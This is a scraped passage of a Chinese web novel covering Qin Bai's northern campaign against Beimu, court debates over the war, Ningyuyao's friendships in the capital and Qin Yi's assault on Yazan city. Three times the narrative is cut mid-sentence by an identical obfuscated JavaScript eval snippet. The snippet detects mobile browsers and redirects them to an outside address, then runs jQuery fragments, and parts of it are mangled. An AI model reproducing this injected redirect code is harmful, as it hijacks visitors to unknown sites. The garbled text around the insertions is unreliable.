朝中不断有人暗中揣测,有人知晓林鸿轩和秦熠有过节,忍不住怀疑是不是秦府做了什么。但这类无凭无据之事,他们仅敢私下议论,不敢拿出来说。毕竟秦柏那个暴脾气,要是被反咬一口诬告,那可就麻烦了。 官员们的种种猜测,承武帝和诚国公都有所耳闻,不过他们都没放在心上。反正没有证据,大臣们顶多再念叨几句,过阵子会有更大的事情还等着他们呢。 承武帝和几位军机大臣正于军机处听着暗哨传来的消息,得知北穆人扬言回去以后就出兵。承武帝倒也没有生气,反而笑着问宁渊:“秦爱卿这两日应该快到定州了吧?” 宁渊略作思索,算了算日子,回道:“禀陛下,秦将军最迟明日就能抵达定州。” “秦爱卿此去先行准备,朕很放心。”承武帝满意地颔首,接着转头看向兵部尚书,“吴爱卿,你们可要保证好定州军的后勤。” 兵部吴尚书立即上前一步应道:“请陛下放心,臣等已经准备好粮草和军械,随时可以运往定州。” 承武帝心情颇好,吩咐道:“那就早日启程吧,趁着文攸礼还未回到北穆,先发制人。” * 一踏进定北军军营,秦柏便立即召集部将们商讨攻打北穆的事宜。 秦熠在军中的级别不够参加这次议会,他独自一人溜达着前往营房,准备先安顿下来。 途径练武场时,秦熠突然感觉一阵凌厉的风声从身后呼啸而来。多年的习武本能让他迅速回身,一个侧身闪过攻击,紧接着伸手一抓一扭,将袭击他的人压倒在地。 当他看清地上的人,脸上的戒备瞬间化作惊喜,连忙站起身叫了一声“阿姐!”然后小心地将地上的人扶起来。 偷袭秦熠的正是秦柏的长女,他的亲生姐姐,秦秀灵。 秦秀灵站起身,拍了拍秦熠的肩膀,笑道:“好小子,两年不见,武艺精进不少嘛。” 秦熠望着眼前身着一身黑色轻质软甲,头发高高束起的阿姐,再看阿姐手心中那厚厚的老茧,心中有些酸涩,谁能看出来这是十年前名动雁京的秦家千金。 秦秀灵见弟弟盯了自己半天却不说话,直接一巴掌拍过去,佯怒道:“做出这幅死样子给谁看呢,你姐姐我好得很。” 秦熠抹了把脸,赶紧收起自己伤春悲秋的情绪,对秦秀灵说:“这次来得急,娘亲原打算给你带许多东西,但我和爹赶路要紧,就只带了一套衣裳给你。” 听到弟弟说起娘亲,秦秀灵的眼神一暗,低声道:“是女儿不孝,不能在母亲面前尽孝,还让母亲如此担心。” “阿姐……”秦熠犹豫了一会,尽管知道姐姐不爱听,但还是忍不住问道,“你真的不打算回雁京么?娘亲和祖母很想你。” 秦秀灵不想说这些,她强压下眼中的泪意,转移话题道:“你们为何如此匆忙回定州?可是北穆那边有什么动作?” 此事秦柏还未与定北军的将领们商定,秦熠也不方便透露,只得含糊其辞:“过两日就知道。” 秦秀灵见秦熠如此态度,便知此事非同小可,不能轻易透露,也没再计较,两人默契地略过这些话题。 两年没有见到姐姐,秦熠自然是开心的。他连忙让姐姐带他去营帐,途中拉住路过的一个士兵,交代道:“你去主将营帐那告诉我爹,若他有空就去秦……” 秦熠顿了下,看向姐姐。 秦秀灵眉毛轻挑,“千户。” 秦熠继续说:“让秦将军去秦千户营帐。” 待士兵领命离去后,秦熠赞叹地看着姐姐:“阿姐好厉害,两年不见就已经是正六品千户了。” 秦秀灵领着弟弟向自己营帐走去,说道:“哪里及得上你,现在都是正四品都司了。” 秦熠摆摆手,“那不算,我是沾了明安的光。” “哦?”秦秀灵有些诧异,她只从家书中得知弟弟升官的事,却不知缘由,看样子其中另有隐情。 进了营帐,秦熠将清云山之事的来龙去脉对姐姐讲清楚。 秦秀灵听罢冷笑,“北穆果然狼子野心,还好这些年北穆虽然未犯边境,定北军也一直严格训练,不敢有一丝松懈。” 听过了北穆人在雁京的所作所为,秦秀灵已对父亲和弟弟匆忙来此的目的有所猜测。正好,操练了这么久,也该给那群人一个教训了。 秦秀灵收回思绪,便看见如营中獒犬一般蹲在地上的弟弟,她踹了秦熠一脚,揶揄道:“你都十九了,娘还没替你相看姑娘?” 提及相看之事,秦熠脑子里瞬间浮现出宁玉瑶的脸庞,他脸微微发红,垂下头不说话。 秦秀灵心思一转,立刻猜到弟弟这是有了意中人,她压低声音,试探地问:“明安郡主?” 秦秀灵话音刚落,秦熠的头几乎要埋到胸口。 秦秀灵看他这幅模样,恨铁不成钢地又踹了弟弟一脚,“行了,瞧你这幅没出息的样子,起来,去边上坐着,别挡路。” 秦秀灵的营帐很小,里面仅有一张三尺宽的小床,以及一张一尺见方的小桌,十分局促。秦熠往地上一蹲,几乎占据了营帐内所有的空地。 他连忙站起身,将娘给姐姐带的衣服放到床上,然后站在角落里。营帐中没有椅子,他也不敢随意坐在姐姐的床上,只好直愣愣地傻站着。 秦秀灵看他这幅傻兮兮的模样,无奈地笑了。她离开雁京已经十年,十年前明安郡主还只是个粉雕玉琢的小娃娃,秦熠天天跟在漂亮小姑娘身后跑。也不知郡主如今出落成什么模样了,竟让这个傻小子如此牵肠挂肚。 待秦秀灵将秦熠带来的衣裳收好,秦柏掀开帐帘走了进来。 “爹!”秦秀灵立即起身走到秦柏面前,如同儿时一般拉着秦柏的衣袖,对秦柏撒着娇。 秦柏看着眼前英姿飒爽的长女,眼中满是慈爱,柔声说:“秀灵这些年,辛苦了。” 与对待儿子的严厉不同,秦柏对女儿极尽温柔。秦熠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038614|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎是被父亲打着长大的,而秦秀灵,却从未听过父亲对她说一句重话。 秦秀灵看着父亲眼角的皱眉,哽咽道:“爹,女儿不孝,这些年没能陪在您和娘身边。” “是爹对不起你。”秦柏轻抚女儿夹杂着银丝的头发,心中满是愧疚。 是他自作主张将女儿嫁给了自己的部下,让女儿跟着来到了定州。结果五年前女婿战死沙场,女儿的一双儿女也惨遭北穆人毒手,这接连的打击几乎让女儿一夜之间白了头。第二天她便直接入了定北军,跟着他们一起在疆场上拼杀了三年。 秦柏眼睁睁地看着女儿从一个大家闺秀被磨练成了让北穆人惧怕的女罗刹,简直心如刀割。 每当午夜梦回,他都后悔为何当初不听妻子的话,将女儿嫁给雁京城中的青年才俊,让女儿在雁京当一辈子富贵的当家主母,或许就不用吃这么多苦头。 秦秀灵擦掉眼泪,努力挤出一丝笑容,“爹,您说什么呢,您对女儿最好了。您放心,女儿在定北军过得很好,而且女儿现在是千户了,没给您丢脸吧?” 秦柏即愧疚又欣慰,“你永远是爹爹最好的女儿。” 积攒军功本就不易,一个女人在军中更是举步维艰。而军营提拔只看军功不问出身,否则将领无法服众。秦秀灵五年时间从一个普通兵丁升到千户,可想而知付出了多少血汗。 “说得好像您还有其他女儿一样。”秦熠在边上小声嘀咕。 秦柏额角一跳,怒道:“秦熠!你皮又痒了是吗!” “我错了我错了!爹!我知道错了!”秦熠抱头鼠窜。 秦秀灵笑盈盈地看着父亲修理弟弟,就如小时候在秦将军府一般。 教训完儿子,秦柏带着女儿去自己营帐用晚膳。他们抵达定北军时已是下午,商议完正事,再在秦秀灵这边耽搁一阵,天已经黑了。 营地内燃起火把,巡逻兵在营地中穿行,远处演武场上传来阵阵训练时发出的呼喝声。 秦熠耷拉着脑袋跟在亲爹和姐姐身后,秦柏看着他这样子就来气,喝道:“站直了!” 秦熠一激灵,立马抬头挺胸阔步跟上。 恰巧从旁边经过的先锋营,发出一阵窃笑声,秦熠扭头一看,原来都是熟人,他朝着对方一阵挤眉弄眼,示意待会儿来找你们。 先锋营兵士们都笑嘻嘻地对他做了个鬼脸,快滚,不然秦将军又要生气了。 等秦柏父子三人走远后,先锋营等人都收起脸上的笑容,对视一眼,其中一人忍不住喊道:“严旅帅……” 先锋营的旅帅严耕眼睛一瞪,“少说话!去训练!” “是。”其他人赶紧列队向演武场跑去。 严耕回头看了秦柏营帐的方向一眼,秦熠十四岁进入定北军,抗击北穆那三年,一直待在先锋营跟他们并肩作战,本以为这小子回了雁京会待在雁京城好好当他的京官,没想到不过两年时间又返回定北军,看来战事将起啊。 严耕收回思绪,不论是什么情况,这几日应该就能知晓了。多思无益,不如好好操练操练,尽量在战场上多活几天。 41.纷争 待定北军主动攻打北穆,并成功占据北穆边境重镇安壁城时,已是一个月之后的事了。 这一消息传来,大宸朝堂乃至整个雁京城都为之震动。 弹劾秦柏的折子如雪片般堆满了承武帝的御案,承武帝瞧都未瞧一眼,直接让苏德茂拿去御膳房当作柴火烧掉。 如此几日之后,朝中不乏精明之人,渐渐觉察出其中的意味,不再吭声。唯有部分主和派的老顽固,依旧坚持不懈地弹劾秦柏,指责他擅自出兵,挑起争端。 承武帝沉默地看着大殿上慷慨激昂控诉秦柏罪行的杨御史,脸上看不出喜怒。 眼看杨御史滔滔不绝地说了近半个时辰,还没有要停下的意思。承武帝有些不耐,他淡淡地打断杨御史的话:“承武十五年岁末,清云山上,北穆探子受林鸿轩之令,企图以炸山引发雪崩。” 大殿内瞬间肃然一静,众人皆不明白此事怎会扯到前阵子意外身亡的林侍读身上。然而接下来承武帝所说的话,更是让他们感到骇然。 “林鸿轩实为北穆王储,乃北穆王之子。” 这一句话如同惊雷,炸响在大殿每一个角落,引起一片哗然。 早已有所耳闻的重臣们眼观鼻鼻观心,站在原地一动不动。与林鸿轩无甚往来的大臣们交头接耳,而曾与林鸿轩关系亲近的部分朝臣们则冷汗直冒,绞尽脑汁地思索着自己平日里跟林鸿轩是否说过什么要命的话。 承武帝垂眸看着如同城西市场一般喧闹的金銮殿,手指微微一动。身旁站立的苏德茂见状,立即扬声道:“肃静!” 大殿内瞬间安静下来,鸦雀无声。 一些敏锐的大臣已从承武帝简短的言语中洞察出,此次征伐北穆实为皇帝授意。联想到秦将军之母“病”卧月余,恐怕亦是君臣二人布下的迷阵,意在蒙蔽北穆使臣。 唯有先前上奏弹劾秦柏的杨御史仍不肯放弃,依旧坚持己见:“即便如此,也不必处死林鸿轩,可将其扣留为质,以迫北穆和谈。” “和谈你大爷的!”一旁的李皓将军愤怒大吼,“北穆都把探子插到雁京城里来了,还和谈?你还有没有骨气?” 兵部尚书冷笑嘲讽:“想是杨御史出生时,少生了几根骨头吧。” “你们!简直是胡搅蛮缠!”杨御史面红耳赤,怒不可遏地说,“本官乃是为了大宸江山社稷着想。大宸方休战两年,今又起烽烟,必致民不聊生,国力衰退。此举对大宸实为不利,恳请陛下召回秦将军!” 户部尚书抬头小心翼翼地看了眼御座上的承武帝,只见承武帝脸色愈发平静,心中暗道不好。陛下脸色越是和善,心中的怒气往往越盛。 他赶忙出列,高声打断杨御史:“杨御史此言差矣,自承武十三年大胜北穆以来,大宸风调雨顺,国泰民安,如今国库充盈,完全有能力支撑此次战事之需。” 兵部尚书闻言,不禁侧目。哟呵,太阳打西边出来了?平日里找户部要点银子就哭穷,如今却突然说国库充盈了? 他余光一扫,瞥见面带微笑的承武帝,悚然一惊,瞬间明白了那老小子为何突然这般言语。 杨御史却未曾留意到承武帝的表情,仍兀自说道:“战争终究解决不了根本问题。若能化干戈为玉帛,岂不是美事一桩?盲目开战,只会带来更多无辜的牺牲。” 李皓当即反驳道:“杨大人,你这分明是妇人之仁!北穆向来狼子野心,岂会被区区言语所打动?他们如此公然挑衅,若我们再一味忍让,只会让其愈发嚣张跋扈!” 眼看着底下两方又要吵起来,承武帝终于开口:“攻打北穆势在必行,此事不必再议。户部需配合兵部,务必保证好定北军的军需物资,不得有任何借口拖延。李皓,你时刻关注其他国家的动向,加强边防,严阵以待,切不可让他们有机可乘。” “臣等遵旨。”李皓将军、户部和兵部尚书连忙出列领旨。 承武帝站起身来,冷冷地瞥了一眼下面的主和派,未再多言,直接离开了金銮殿。 “臣等恭送陛下。” 待承武帝的身影消失不见,金銮殿内的气氛愈发紧张起来。 杨御史满脸怒容,怒视户部尚书,质问道:“刘尚书今日为何突然支持攻打北穆?以往你可是以国库空虚为由,多次阻止陛下出兵。今日此举,究竟是何用意?” 户部尚书微微一笑,轻描淡写地回应:“杨大人,今时不同往日。如今我大宸兵强马壮,国力强盛,正是展示我大宸威严之时。” 杨御史不甘示弱,继续反驳:“就算国库充盈,也经不起长期的战争消耗。况且,谁能保证此战必胜?若一旦战败……” “杨大人!”兵部尚书提高声音提醒,“请三思而言。” 杨御史悚然一惊,随即意识到自己失言。陛下已经下定了决心,攻打北穆势在必行,若他此时再说这些不吉利的话,必将彻底触怒陛下。 金銮殿内的争论终于平息了下来,大臣们默默互相拱手后,神色复杂地各自散去。 * 边疆的烽火连天和朝堂上的纷争不休,这些似乎都与雁京城中的贵女们无关。即便她们知晓大宸此时又起战事,却也难以真切体会战争的残酷,依旧每日赏花踏青、争奇斗艳。 唯有宁玉瑶,心中挂念着秦熠。战场上凶险万分,刀枪无眼,她只要一合上眼,仿佛就能看见秦将军府挂满缟素的场景。即便已从父亲那里得知此次出征,舅舅下旨定不得拖延定北军的粮草,心中还是难免担忧。 “哎……” 正看着亭外莲花的沈瑜,听到宁玉瑶的叹息,凑近问道:“怎么又这般愁眉苦脸的?究竟有什么大事,能让我们的明安郡主如此烦恼?莫不是又在为秦都司忧心?” 宁玉瑶推开沈瑜凑过来的脑袋,羞恼地嗔道:“这么热的天,你离我远点!” “哼,”沈瑜轻哼一声,直接把脚下的冰盆端到宁玉瑶面前,“这么大个冰盆就在你跟前,还说热?” “你现在在外头不装模做样了?”宁玉瑶示意青黛把冰盆端下去,摆在这里实在有些碍事。 今日她们应太常寺卿家千金的之邀,来城外的莲庄中赏莲。此刻其他小姐们都在湖中采莲,湖边的亭子中唯有她们二人。 “累了,不想装了。”沈瑜的脸色瞬间暗淡下来,没了往日的神采。 宁玉瑶一看她这副模样,直觉不对,赶忙问道:“到底发生什么事了?” “没什么,就是去我舅舅家赴宴时,不小心吃多了点。”沈瑜意兴阑珊地说。 宁玉瑶望着她那副闷闷不乐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049868|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子,握着她的手轻声询问:“是不是季夫人说了什么不好听的话?” 沈瑜摇摇头,低声道:“是我表哥……” 宁玉瑶拧眉。她知道沈瑜的表哥乃是礼部侍郎之子,礼部季侍郎则是沈夫人的嫡亲兄长。两家早已为沈瑜和表哥定下了口头婚约,只待明年秋闱之后便正式提亲。倘若沈瑜被未婚夫婿不喜,日后的日子恐怕不会好过。 只可惜上一世,“她”与小鱼儿关系疏远,不知道小鱼儿最终究竟有没有嫁给她表哥。 沈瑜见宁玉瑶的脸色比方才更加难看,连忙岔开话题:“如今已经知晓林鸿轩是北穆王储,那当初你坠马之事必然与他脱不了干系。现在可查出他究竟是如何下手的?” “没有。”宁玉瑶摇摇头,满心疑惑地说道,“月影失控那件事,不论如何拷打林鸿轩,他都死咬着不肯招供。如今他已死,也是死无对证,只能就此作罢了。” “郡主,沈小姐,赵小姐往这边来了。”两人正唉声叹气之时,青黛轻声提醒道。 宁玉瑶和沈瑜立刻收起脸上的愁容,正襟危坐,瞬间恢复了平日里端庄的模样。 “见过明安郡主。”来人正是赵御史家的千金赵知妍,这次她倒是没有如往常那般阴阳怪气,而是极为规矩地对着宁玉瑶行了个礼。 宁玉瑶和沈瑜很是稀罕地对视一眼,心中皆感到有些意外。不过既然赵知妍对她们以礼相待,她们自然也不会故意刁难。 宁玉瑶脸上挂着和善的笑容,说道:“赵小姐无需多礼,快请坐,不知赵小姐今日找我所为何事?” 赵知妍低头抿了抿唇,支支吾吾了半天,神情显得有些局促,似乎有些难以启齿。 半晌之后,她抬起头,郑重地对宁玉瑶说道:“臣女以前不懂事,多次冲撞了郡主,深感惭愧。今日特地前来,是为了感谢明安郡主当日的好意提醒。” 宁玉瑶拿起面前切好的金桃咬了一口,嘴角微扬,轻笑道:“提醒?赵小姐家教甚严,鲜少与外界交往,我能有何提醒之处?” 赵知妍闻言,心中大石落地,眼中满是感激地望向宁玉瑶。郡主此言,无异于替她划清了与林鸿轩的界限。 回想起近来种种煎熬,赵知妍的眼眶泛红,几乎要落下泪来。 初闻林鸿轩身死的噩耗时,她悲痛欲绝,满心怨恨,甚至一度怀疑是不是明安郡主暗中下的狠手,因而对明安郡主怀恨在心。 直至前几日,爹爹下朝回来,告诉她林鸿轩实为北穆王储的真相。她感觉自己的天都仿佛要塌了,死活不愿相信这个事实。还是娘亲将她关在房中,好好教导了好几日,她才明白花灯节时明安郡主的那番话,实则是出于好意。 赵知妍既羞又愧,得知今日明安郡主在莲庄赏莲,求了爹娘放她出来,专程前来向明安郡主致歉并道谢。 幸而郡主非但没有责怪,还将她与林鸿轩之事撇清。 赵知妍正默默垂泪时,一块手帕递到了她面前。她抬起头看向沈瑜,只见沈瑜脸上带着温和的笑意,说道:“又不是什么大事,快擦擦。” 宁玉瑶则托腮看着她们,赵知妍赶忙接过手帕,拭去眼角的泪水。 恰在此时,一阵清风从亭中徐徐吹过,带走了灼热的暑气,也吹散了赵知妍心头的阴霾。 42.逆转 承武十六年,由于战事吃紧,为了勤俭节约,皇后娘娘率领六宫作出表率,今年的千秋节不再如往年那般隆重,只是简单庆贺了一番。 就连每年惯例举办的秋猎,也不得不取消了。 秋风起时,北穆那边似乎反应过来,开始了猛烈的反击。战事也逐渐焦灼起来。 近几个月的雁京城内,气氛显得有些沉闷。 就连平日里酒楼茶肆中的说书先生,都不敢像刚开始那两个月那般肆意讲述一些战场上的故事,更多的是说些与战事无关的风花雪月。 许久未出门的宁玉瑶,在醉仙楼里听完说书先生所讲的王爷与美貌狐女相守一生的离奇故事,登上马车准备回府。 马车行经西街,车外一个人影引起了宁玉瑶的注意。 那人身穿浅灰色书生儒袍,头发整齐梳起,戴着一顶儒冠,正从胭脂铺子里走出来。 “嗯?”宁玉瑶目光微凝,觉得此人有些面熟,但又不太确定,于是转头问身边的青黛,“那是不是小鱼儿的表哥?” 青黛仔细辨认一番,肯定道:“郡主,正是季逢昌季公子。” 宁玉瑶见季逢昌手中拿着胭脂水粉,笑道:“看来他还知道要哄小鱼儿开心。”既然季逢昌对小鱼儿有心,她便放下心来。 然而下一刻,宁玉瑶就看见他走进了一个小巷子中。 宁玉瑶直觉有些不对劲,当即叫人停下马车,吩咐道:“丹素,你跟上去看看。” 片刻后,丹素回到马车上,“郡主,季公子进了一个院子中,那巷子里行人稀少,奴婢怕引起旁人的怀疑,没敢私自去打听。” 宁玉瑶颔首,吩咐继续回府。 不管季逢昌有没有问题,她都不能越俎代庖帮小鱼儿查探。待有机会问问小鱼儿再说,或许他只是去会友也说不准。 回到长公主府,宁玉瑶惊奇地发现娘亲祁婧惠此时正坐在府中的花厅内饮茶。 自从北穆开始反击以来,爹爹和娘亲每日都早出晚归,为战事操劳,她已许久未见娘亲。 “娘。”宁玉瑶满心欢喜地坐到祁婧惠身边,“今日怎么这么早回来了。” “事情忙完了就回来了,”祁婧惠轻描淡写地说道,没有过多解释,转而问道,“刚去哪儿玩了?用过午膳没?” “用过了,在醉仙楼尝了他们的新菜式,还听了书才回来的。” 祁婧惠看着女儿开心的模样,笑道:“好了,出去玩了这么久,快去休息吧,娘也要去午休了。” 虽然还想再跟娘叙叙家常,但看着娘亲脸上掩饰不住的疲惫,宁玉瑶乖乖应下离开花厅。 祁婧惠撑着额头长叹了一口气,最近战事的进展着实不顺利,这两年大宸虽然一直在养精蓄锐,可北穆又何尝不是在暗中积攒力量。 尽管大宸有秦柏秦熠父子,还有定北军的精兵良将,北穆也不是可以轻易对付的软柿子。 北穆所处之地贫瘠荒芜,民风彪悍,他们基本上都是在马背上长大的游牧民族,常年漂泊不定,只有极少部分有水源的地方才得以建立城池。 正因为如此,北穆攻打大宸相对容易,但大宸想要去攻打行踪不定的北穆人却是困难重重。 这段时间秦将军那边的进度似乎陷入了僵局,定北军的损耗也一日大过一日。 原本朝堂之上被压下去的主和派又开始蠢蠢欲动,天天上折子请承武帝召回定北军,每日都与主战派吵得不可开交。 莫说承武帝为此事焦头烂额,就连祁婧惠和宁渊都被这些争论搅得烦不胜烦。 祁婧惠揉了揉隐隐作痛的额角,事到如今,这场战事已然不是他们想停止就能随意停下的了。只希望秦将军能够旗开得胜,顺利解决北穆。 * 深秋时节。 秦熠抬头望着一行大雁从头顶飞过,排成一列朝南飞去。 来到定北军已四月有余,除了最初攻其不备占据了北穆三座城池外,后续的战况一直不太顺遂。 自从深入北穆腹地,战况急转直下。北穆的雅赞城久攻不下不说,就连最初占下的格阆城也被北穆夺回。 秦熠率领严耕手下的先锋营在雅赞城外一处号称水草丰茂的地方安营扎寨。 说是水草丰茂,实则仅有一个小小的水洼以及大片枯黄的野草,仅能勉强让马匹果腹。 秦熠察看了雅赞城方向的情形,定北军驻扎在雅赞城外弓箭射程之外的空地上,雅赞城的城墙上,北穆士兵密密麻麻排成一列,严密监视着城外大军的动向。 严耕也走了过来,站到秦熠身旁,“这样可不行,围而不战,能不能把他们耗死不知道,但秦将军那边的粮草怕是快要供应不上了。” 五年前秦熠初来定北军时还是严耕手下的一名小兵,五年过去,严耕反倒成了秦熠的下属,不过他这人向来心胸宽广,只要秦熠打得过他,他就服气。 秦熠低眸沉思,此事定北军的将领们皆心知肚明,但如何攻下雅赞城是个棘手的难题。 雅赞城是深入北穆腹地的要塞,若强行绕过雅赞城去攻打北穆腹地,一旦雅赞城截断补给和援军,那后果不堪设想。 所以再难也必须将其攻克。 只是事情远非想象中那般容易,雅赞城的守城将军是北穆声名远扬的大将达瓦,秦家与他堪称生死仇敌,秦柏的弟弟,秦熠的小叔秦泽便命丧达瓦之手。 两年前,若不是关键时刻秦熠一箭射穿了达瓦的右臂,恐怕那场战事不会那么轻易结束。 只是可惜当时未能彻底将达瓦解决,否则这段时间定北军也不会如此被动。 不过秦熠也不觉得遗憾,毕竟达瓦成名已久,战场经验极为丰富,怎会轻易被一个小将拿下,能射中他一箭使其战力大减,秦熠已然立下大功。 这次秦柏亲自率军围困雅赞城,秦秀灵则跟随副将军向宗绕过雅赞城,去牵制北穆的援军。 秦熠眯着眼睛看向城墙上一个身材魁梧的中年男子,两年前让你跑了,这次小爷定会亲手宰了你替我小叔报仇。 他收回视线,对严耕说:“早些吃饭,让兄弟们好生休息一下,晚上我们再去雅赞城周围探查一番。” 夜幕降临,秦熠带领一支精锐小队,在夜色的遮掩下,悄无声息地靠近雅赞城。 他们避开了城墙上北穆巡逻队的视线,沿着城墙边缘缓缓行进,观察着城墙内的动静。 达瓦此时正在城内与副将们商讨战事。 达瓦眉头紧锁,问军需官:“援军迟迟未到,我们的粮食还能支撑多久?” 军需官一脸愁苦地回道:“将军,若一日两顿且只吃半饱的话,还能维持约半个月。” 雅赞城的城主在旁边欲言又止。 大宸军队将雅赞城围困了一个多月,如今城中百姓早已断粮许久,达瓦将军仍不给百姓放粮,这些天不断有百姓饿死,甚至连尸首都未留下。 再如此下去,恐怕会引发暴乱啊! 达瓦瞥见雅赞城主的神情,他冷哼一声:“都这节骨眼上了,你还这般妇人之仁!倘若雅赞城被攻破,你以为那群大宸人会宽待他们?” 雅赞城主叹了口气,道理的确如此,但百姓们不会考虑这么多,他们只知道当下就要饿死了,哪还管什么大宸北穆。 达瓦向来瞧不起这个优柔寡断的城主,他直接下令:“增派人手,务必守好粮仓,不许任何平民靠近!” 说完,他摸了摸两年前被秦熠射中的右臂,那一箭虽说被他及时闪躲,未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062774|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要了他的性命,但箭矢射穿了他右臂的骨头,致使他每逢阴雨天就疼痛难耐。 想到此刻正在城外安营的秦柏父子,达瓦忍不住面目狰狞,老子既然能杀了秦泽,这次就送你们父子下去陪他! 又是无功而返的一个夜晚。 秦熠他们在城墙脚下转了一圈,眼看天色渐亮,赶忙带着手下撤离雅赞城。 回到营地,尽管心中早有预料,秦熠难免还是有些心焦,时间拖延得太久了,父亲那边承受的压力也极大。 他闭上眼睛深吸一口气,竭力平复情绪,告诫自己不要急,也不能急,一着急就容易岔子。 秦熠平复好心境后,对严耕下令:“继续休息,晚上我们再探。” 接下来的几日,秦熠每晚都率领先锋营的精锐小队前往雅赞城寻觅战机,但均空手而归。 * 今日,雅赞城上空阴云密布,狂风大作。 月亮被阴云遮蔽得无影无踪,整个天地间一片昏暗,只有雅赞城城墙上的火把在狂风中摇曳不定。 秦熠照旧带着人在城墙脚下摸索前行,突然,他停下脚步,示意身后的人噤声。 他将耳朵紧贴城墙,仔细听着城内的动静。 达瓦躺在床上辗转反侧,捂着自己的右臂,狠狠地咒骂着这见鬼的天气和该死的秦熠。 “将军!将军!不好了!城中百姓围住了粮仓要造反!”达瓦的亲卫高喊着冲进房内。 “什么?!那群贱民!不想活了,本将军就送他们一程!”达瓦本就被手臂的疼痛折磨得烦躁不堪,听到亲卫的话,立刻起身穿上铠甲,拿起自己的大刀朝粮仓奔去。 此时粮仓外已挤满了人,仿佛整个雅赞城的百姓都聚集在了这里。 被围城一个多月,断粮二十多天,他们都已瘦得不成人形。 百姓们手中拿着自家的菜刀,没有菜刀的则拿着木棍,前仆后继地向粮仓冲去。 他们大喊着:“反正活不下去了,死前我也要做个饱死鬼!” 守着粮仓的士兵们虽然手中持有武器,但他们也许久没吃过一顿饱饭了,每天虽说能吃两顿,却是水多粮少,甚至这几日连水都所剩无几。 尽管杀了不少企图冲进粮仓的百姓,但人实在太多,士兵们渐渐力竭落入下风。 达瓦赶到时,粮仓外的士兵已损失大半,已有部分百姓进入了粮仓。他怒喝道:“贱民!给本将军滚出来!” 或许在半个月前,雅赞城的百姓们还会畏惧这位北穆的名将,但如今他们都活不下去了,哪还在乎他是谁。 没人理会达瓦的威胁,他们继续往粮仓内冲。 突然有人大喊:“着火了!粮仓着火了!” 外面的百姓愈发焦急,冲向粮仓的速度更快了。 达瓦暴跳如雷,挥刀向离他最近的人砍去,下令道:“叫人过来增援!” 秦熠听见城内越来越大的喧闹声,他抬起头,眼睛亮得惊人。 虽然不清楚雅赞城内发生了何事,但此时城内一片混乱,他们的机会来了。 他勾起嘴角,轻声说道:“兄弟们,准备。” 随着城墙上的守卫越来越少,秦熠用力将铁鸱甩上城墙,他们小心翼翼地向上攀爬。 秦熠凭借着自己的一身蛮劲,率先爬上城墙,清理掉这一侧的士兵。 等自己的队员们都上来后,吩咐道:“放信号弹,留两个去开城门,其余人跟我去找达瓦!” 与此同时,定北军也察觉到了雅赞城的异样,一直留意着雅赞城的斥候赶忙叫来秦柏。 秦柏拿出千里眼仔细搜寻,待看到已经爬上城墙并与守卫们打斗起来的秦熠,大喜:“好小子!快,把人都召集起来,准备攻城!” 43.表哥 粮仓内,熊熊大火无情地吞噬着本就所剩无几的粮食。雅赞城的百姓们皆如疯魔一般,冲进火海抢夺粮食,即便自己身上被火焰点燃,仍留在粮仓内,一边争抢粮食一边往嘴里塞。 “轰隆——” 天空一道惊雷炸响,却丝毫未能引起他们的注意,此刻,他们眼中只有那些即将被火烧尽的粮食。 唯有达瓦,右臂蓦地一滞。 快要下雨了,他手臂的疼痛愈发加剧。 达瓦的心情更加暴躁,他怒吼一声,挥舞着手中的刀朝那群贱民砍去,却突然被人拦下。 达瓦怒目而视,看向胆敢阻拦他的人,这一眼让他怒火更盛:“秦熠!你竟敢踏入雅赞城,那就永远留在这儿吧!” 秦熠毫无惧色,对达瓦轻蔑一笑:“想要我的命,那得看你有没有这个本事。” 不等达瓦反应,秦熠率先出手,手中的大刀以迅雷不及掩耳之势向达瓦横扫而去。达瓦迅速举起大刀横于胸前,挡住秦熠的攻击。但秦熠力气极大,震得达瓦身形不稳,往后退了一步。 然而达瓦毕竟身经百战,立刻站稳脚跟,将手中的大刀斜劈而出。 秦熠赶忙提刀阻挡,虽挡住了达瓦的攻势,可他手中的武器乃是随手从守城士兵处捡来的,与达瓦的武器相较,简直云泥之别。 只听一声清脆的金属鸣响,秦熠手中的武器裂出一条缝隙。 秦熠暗叫不好,必须速战速决。 达瓦见此,脸上浮现狞笑:“臭小子,去地府陪秦泽吧!”说着,达瓦一刀连着一刀,迅猛地朝秦熠攻去。 秦熠咬牙回击,一直在寻觅着斩杀达瓦的契机。可惜未过多久,他手中的刀在达瓦的连续攻击下彻底断裂。秦熠陷入劣势,只能被动地用残刀躲避着达瓦的攻击。 又一声雷鸣响起,大雨如瓢泼般倾泻而下。 